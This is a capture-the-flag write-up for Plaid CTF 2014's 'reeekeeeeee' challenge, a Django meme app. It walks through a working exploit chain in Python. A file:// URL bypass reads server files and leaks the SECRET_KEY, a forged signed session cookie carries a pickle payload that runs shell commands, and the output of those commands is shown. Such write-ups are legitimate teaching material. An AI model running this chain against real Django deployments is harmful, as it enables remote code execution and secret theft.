Table of Contents

Plaid CTF 2014: "reeekeeeeee" 200 pts

Django web app with pickled cookie-stored signed sessions.

Description

The Plague seems obsessed with internet memes, though we don't yet know why. Perhaps there is a clue to what he's up to on this server (epilepsy warning). If only you could break in…. Here is some of the source.

The source code was provided.

Functionality

reekee is a Django web application that lets users create memes. To use the application, the user has to register an account, and once logged in, the application can download an image from an URL, and overlay a text. Both the URL and the text are user inputs. The website will also display all memes created by a user on his private page.

Summary

The session data is stored in a signed cookie, and is serialized using Python's pickle module, which means we can execute code. Moreover, we can read any file on the server by using URLs that start with file:// - this allows us to read the configuration file storing the secret used by the cookie signing mechanism. There is an attempt to sanitize the user input against this, but it's bogus.

Local setup

The remote server running the application was accessible at http://54.82.251.203:8000/. You can download the source code, and easily run a local instance of the application:

~$ tar xf reekee.tar.gz ; cd reekee
~/reekee$ sudo apt-get install python-django
~/reekee$ mkdir /tmp/memes
~/reekee$ python manage.py syncdb
~/reekee$ python manage.py runserver
[...]
Development server is running at http://127.0.0.1:8000/
[...]

You should also change mymeme/settings.py:27 to ALLOWED_HOSTS = ['127.0.0.1'], or mymeme/settings.py:23 to DEBUG = False (why?), which might also help a lot for debugging. Also, you might want to comment out templates/head.html:43 if you value your sanity.

Vulnerabilities

We can start exploring the attack surface by analyzing the views.py, and urls.py files. The latter is a configuration file that maps URL patterns to their handler functions, which are defined in the former. An general overview of a Django application is presented in the official documentation. The views.py file handles user input in the following functions:

The last 2 handlers look promising, letting us read/save data (on the server's storage), and retrieve it later. But, before we start building our attack, let’s also take a glance at settings.py:

Going through Django's documentation about cookie-based sessions, we discover a big warning confirming the previous hints: If the SECRET_KEY is not kept secret and you are using the PickleSerializer, this can lead to arbitrary remote code execution.

L337! Now, lets move on and take over the world in 3 easy steps!

Path manipulation

Uniform Resource Locators (URLs) provide a general string representation of resources. Resources (e.g., web pages, files) can be accessed in different ways, thus an URL starts with a scheme followed by :, and a scheme-specific part. Applications (in our case, the urllib2 Python library) will use different retrieval mechanisms, or handlers, for each specific scheme (e.g., http, ftp, file, telnet, mailto).

In the makememe() function, the programmer's intention is to only allow HTTP URLs, but the if condition is bogus, and will pass if http:// is present anywhere in the string, not just in the beginning, as a scheme specifier.

81:       if "http://" in url:
82:         image = urllib2.urlopen(url)
83:       else:
84:         image = urllib2.urlopen("http://"+url)

This bug lets us use "file://<path>#http://" to read any file on the server. The special "#" is used to specify a fragment of the resource, and is ignored by the file scheme handler, but it helps us pass the if condition.

It is worthwhile to note that the retrieved file is parsed using the PIL.Image library, but even if this will fail in our case (because we don't read valid images), it will already be written to disk (see views.py:91).

To use this, we'll have to create a new user (you don’t have to do this each and every time, of course), create a meme using the file scheme URL, and, finally, read back the created meme (using the page handled by viewmeme()). Let’s create a new attack.py file, and prepare a read_server_file() routine as follows:

import requests, random, string
 
def read_server_file(path, target='http://127.0.0.1:8000/'):
  client = requests.Session() # maintains cookies between requests
  client.get(target + 'register') # get csrf token
 
  u = p = ''.join(random.sample(string.ascii_letters, 10))
  client.post(
    target + 'register',
    data = {
      'username': u,
      'password': p,
      'csrfmiddlewaretoken': client.cookies['csrftoken'],
    },
  )
  # the user remains logged in after registration
  client.post(
    target + 'makememe',
    data = {
      'url': 'file://%s#http://' % path,
      'text': '',
      'csrfmiddlewaretoken': client.cookies['csrftoken'],
    },
  )
  return client.get(target + 'view/0').text

Note that we need to get and pass the CSRF token around, but this has nothing to do with the vulnerability, or with our exploit. We are just emulating what a browser would do. The structure of the POST requests (e.g., names of parameters) was obtained by inspecting the HTML forms generated by the application during normal operation.

This vulnerability lets us leak the remote SECRET_KEY by reading the settings.py file:

~/reekee$ python -c "import attack; \
print attack.read_server_file('/proc/self/cwd/mymeme/settings.py')"
[...]
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
[...]

Remote code execution

Next, we are going to look at how an attacker can manipulate the cookie-stored serialized session data such that arbitrary code will get executed when the server application tries to deserialize a malicious payload while handling a request. More details about cookie-stored sessions are presented in the official Django documentation. Of course, the Django framework is cryptographically signing the cookies, so the attacker shouldn't be able to modify them, but we already leaked the secret key used for this in the previous step. The next step will show how the signature can be forged.

We are going to step back from the specifics of the reekee application, and take a look at how arbitrary code can be executed code when the pickle module is deserializing. This attack is possible as a result of how the pickle module works - more exactly, it encodes the objects in code for a custom stack-based machine that gets executed during deserialization.

The pickle module pops up in many Python application vulnerabilities. A very good overview of the advantages, disadvantages, and alternative serialization methods, was recently given at PyCon 2014 during the Pickles are for Delis, not Software presentation by Alex Gaynor. Another good reference for attacking the pickle mechanism is Sour Pickles, by Marco Slaviero, presented at BlackHat USA 2011. For this task we used the straight forward instructions from Arbitrary code execution with Python pickles, by Stephen Checkoway.

Without further ado, here's our attack using the template from the latter article:

import base64, marshal
 
PAYLOAD_TEMPLATE = '''ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(S'%s'
tR.'''
 
def build_pickle_payload(cmd):
  def foo(c):
    import os
    os.system(c)
  m = marshal.dumps(foo.func_code)
  return PAYLOAD_TEMPLATE % (base64.b64encode(m), cmd)

And a short test to test the functionality:

~/reekee$ python -c "import cPickle, attack; \
cPickle.loads(attack.build_pickle_payload('echo HxC-RU1z'))"
HxC-RU1z

There is a slight change in the template that allows us to also pass a cmd parameter to foo(). As an exercise, try to understand the template (see the referenced article) and modify it such that the parameter is also passed as a base64-encoded string. It can be done in 2 ways.

Finally, the most involved part was figuring out exactly how Django signs it's pickled session data. You can find the relevant code on GitHub, the 1.5.x branch:

The SessionBase.loads() method sets the salt (just a string), and dispatches to the signing.loads() function.

 2: from django.core import signing
    [...]
 9:     def load(self):
10:         """
11:         We load the data from the key itself instead of fetching from
12:         some external data store. Opposite of _get_session_key(),
13:         raises BadSignature if signature fails.
14:         """
15:         try:
16:             return signing.loads(self.session_key,
17:                 serializer=self.serializer,
18:                 # This doesn't handle non-default expiry dates, see #19201
19:                 max_age=settings.SESSION_COOKIE_AGE,
20:                 salt='django.contrib.sessions.backends.signed_cookies')
21:         except (signing.BadSignature, ValueError):
22:             self.create()
23:         return {}

In signing.loads(), the secret key used by the TimestampSigner seems to be None, but if you check it’s base class, Signer, you will observe it uses the SECRET_KEY from settings as a default: 164: self.key = str(key or settings.SECRET_KEY).

139: def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
140:     """
141:     Reverse of dumps(), raises BadSignature if signature fails.
142  
143:     The serializer is expected to accept a bytestring.
144:     """
145:     # TimestampSigner.unsign always returns unicode but base64 and zlib
146:     # compression operate on bytes.
147:     base64d = force_bytes(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
148:     decompress = False
149:     if base64d[:1] == b'.':
150:         # It's compressed; uncompress it first
151:         base64d = base64d[1:]
152:         decompress = True
153:     data = b64_decode(base64d)
154:     if decompress:
155:         data = zlib.decompress(data)
156:     return serializer().loads(data)

Cool! We now have all the pieces needed to properly sign a malicious payload. We are going to recreate a striped down serialization counter-part of the above function, similar to the real signing.dumps(). We don't need to call the actual serializer (we've already done that), and we don't need the compression part.

from django.core.signing import TimestampSigner, b64_encode
from django.utils.encoding import force_bytes
 
# get this using read_server_file('/proc/self/cwd/mymeme/settings.py')
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
 
def rotten_cookie(payload):
  key = force_bytes(SECRET_KEY)
  salt = 'django.contrib.sessions.backends.signed_cookies'
  base64d = b64_encode(payload)
  return TimestampSigner(key, salt=salt).sign(base64d)

Final exploit

The final attack sends a GET request with the malicious cookie, which will run the provided command with the output redirected to a temporary file, which in turn will be read back using the initial path manipulation vulnerability.

def run(cmd, target='http://127.0.0.1:8000/'):
  outp = ''.join(random.sample(string.ascii_letters, 10))
  p = build_pickle_payload(cmd + ' > /tmp/' + outp)
  c = rotten_cookie(p)
  requests.get(target + 'index', cookies=dict(sessionid=c))
  return read_server_file('/tmp/' + outp, target)
~/reekee$ python -c "import attack; print attack.run('ls')"
give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt

The .txt file can only be read with the setuid .exe binary. This prevents directly reading the flag file with the first vulnerability, and requires the complete code execution exploit.

~/reekee$ python -c "import attack; print attack.run('./give_me_the_flag.exe')"
flag: why_did_they_make_me_write_web_apps

Complete source code of the final exploit: attack.tar.gz

Resources